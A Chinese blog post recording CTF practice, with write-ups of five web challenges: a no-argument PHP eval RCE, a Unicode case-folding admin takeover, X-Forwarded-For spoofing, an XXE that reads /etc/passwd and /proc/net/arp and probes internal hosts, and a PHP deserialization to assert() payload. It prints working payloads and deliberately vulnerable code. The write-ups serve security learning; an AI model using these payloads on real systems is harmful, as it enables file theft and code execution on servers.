1.31刷题记录

这篇博客探讨了多种Web安全漏洞,包括源码泄露、PHP伪协议利用、Unicode欺骗、XML注入等。通过实例展示了如何利用这些漏洞读取敏感文件,如/etc/passwd和/proc/net/arp,并介绍了防御措施。此外,还提到了PHP中的反序列化漏洞利用,以及assert函数在安全中的角色。
摘要由CSDN通过智能技术生成

[GXYCTF2019]禁止套娃

git源码泄露
githack扫一下
在这里插入图片描述

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

php伪协议的函数基本不能用
此题考点是无参数RCE
首先需要得到当前目录下的文件
scandir(’.’)或者scandir(current(localeconv()))均可以读取
再加个print_r就行了

print_r(scandir(current(localeconv())));

在这里插入图片描述

array_reverse()以相反的元素顺序返回数组
pos() 函数返回数组中的当前元素的值。
next() 函数将内部指针指向数组中的下一个元素,并输出
show_source() 函数对文件进行语法高亮显示。
构造payload

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述

[HCTF 2018]admin

查看源码发现
在这里插入图片描述
说明用户名是admin
用admin注册,提示用户名已注册
在这里插入图片描述
Unicode欺骗
https://unicode-table.com/en/1D2E/ ,在这个网站上找字符
修改密码模块
在这里插入图片描述
登录模块和注册模块都用strlower()来转小写
strlower()对于特定字符能进行转化

ᴬᴰᴹᴵᴺ -> ADMIN -> admin

在注册的时候 ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“,能成功登录
注册账号ᴬᴰᴹᴵᴺ,密码123456
在这里插入图片描述
修改密码123
用账号admin,密码123成功登录

在这里插入图片描述

[MRCTF2020]PYWebsite

f12发现flag.php
在这里插入图片描述
访问
在这里插入图片描述
看到IP,猜测本地访问,添加X-Forwarded-For头
在这里插入图片描述

[NCTF2019]True XML cookbook

题目提示很明显XML注入
抓包后添加恶意实体,读取/etc/passwd文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>

<user><username>&admin;</username><password>123546</password></user>

在这里插入图片描述
读取历史操作命令.bash_history失败
在这里插入图片描述
看了大佬的wp,要读取/etc/hosts文件和/proc/net/arp。
/etc/hosts没发现存活主机
在这里插入图片描述
/proc/net/arp 有存活主机
在这里插入图片描述
给了一个主机IP,读取一下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "http://10.121.4.2/"> 
]>
<user><username>&a;</username><password>a</password></user>

访问后没有flag
在这里插入图片描述
用bp进行爆破
在这里插入图片描述
在10.121.4.11主机中找到flag
在这里插入图片描述

[NPUCTF2020]ReadlezPHP

查看源码看到php文件
在这里插入图片描述
访问后是一段代码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}
@$ppp = unserialize($_GET["data"]);
2021-01-31 05:20:35

assert这个函数在php语言中是用来判断一个表达式是否成立
assert()可以将整个字符串参数当作php参数执行。

$b($a)可以构造$b=assert,$a=phpinfo等价于assert(phpinfo())
<?php
error_reporting(1);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$test = new HelloPhp();
$test->b = 'assert';
$test->a = 'phpinfo();';
echo serialize($test);
?>
payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

搜索flag直接找到
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值